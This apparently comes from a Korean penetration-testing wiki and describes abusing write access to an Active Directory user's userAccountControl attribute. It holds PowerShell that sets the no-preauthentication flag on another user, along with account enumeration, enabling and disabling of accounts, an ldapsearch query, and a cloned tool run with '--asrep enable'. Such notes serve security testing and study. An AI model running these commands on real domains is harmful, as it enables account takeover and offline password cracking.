WriteUAC

속성
설명
Last updated

Last updated
# 사용자 크리덴셜 변수화
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('contoso\user-A', $SecPassword)
$target = 'user-B'
# 사용자 UAC 비트 수정(백업 필요 시 백업 해야함)
$uacOld = (Get-ADUser $target -Properties userAccountControl -Credential $cred).userAccountControl
$uacNew = $uacOld -bor 0x00400000
Set-ADUser $target -Replace @{userAccountControl = $uacNew} -Credential $cred# 모든 비활성화 계정 열거
Get-ADUser -Filter 'Enabled -eq $false' -Properties Enabled | Select-Object Name, SamAccountName, Enabled
# 계정 활성화/비활성화
Disable-ADAccount -Identity user-B
Enable-ADAccount -Identity user-B# 모든 비활성화 계정 열거
ldapsearch -x -H ldap://192.168.1.11 -D '[email protected]' -w 'Password123!' -b "DC=contoso,DC=com" "(&(objectClass=user)(userAccountControl:1.2.840.113556.1.4.803:=2))" sAMAccountName distinguishedName
# uac 속성 변경 코드 다운로드
git clone https://github.com/Mick3y-ko/modifyContribute.git
cd modifyContribute
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
# 원하는 속성 활성화/비활성화
python3 modifyContribute.py -d contoso.com -dc-ip 192.168.1.11 -u user-A -p 'Password123!' --target user-B --asrep enable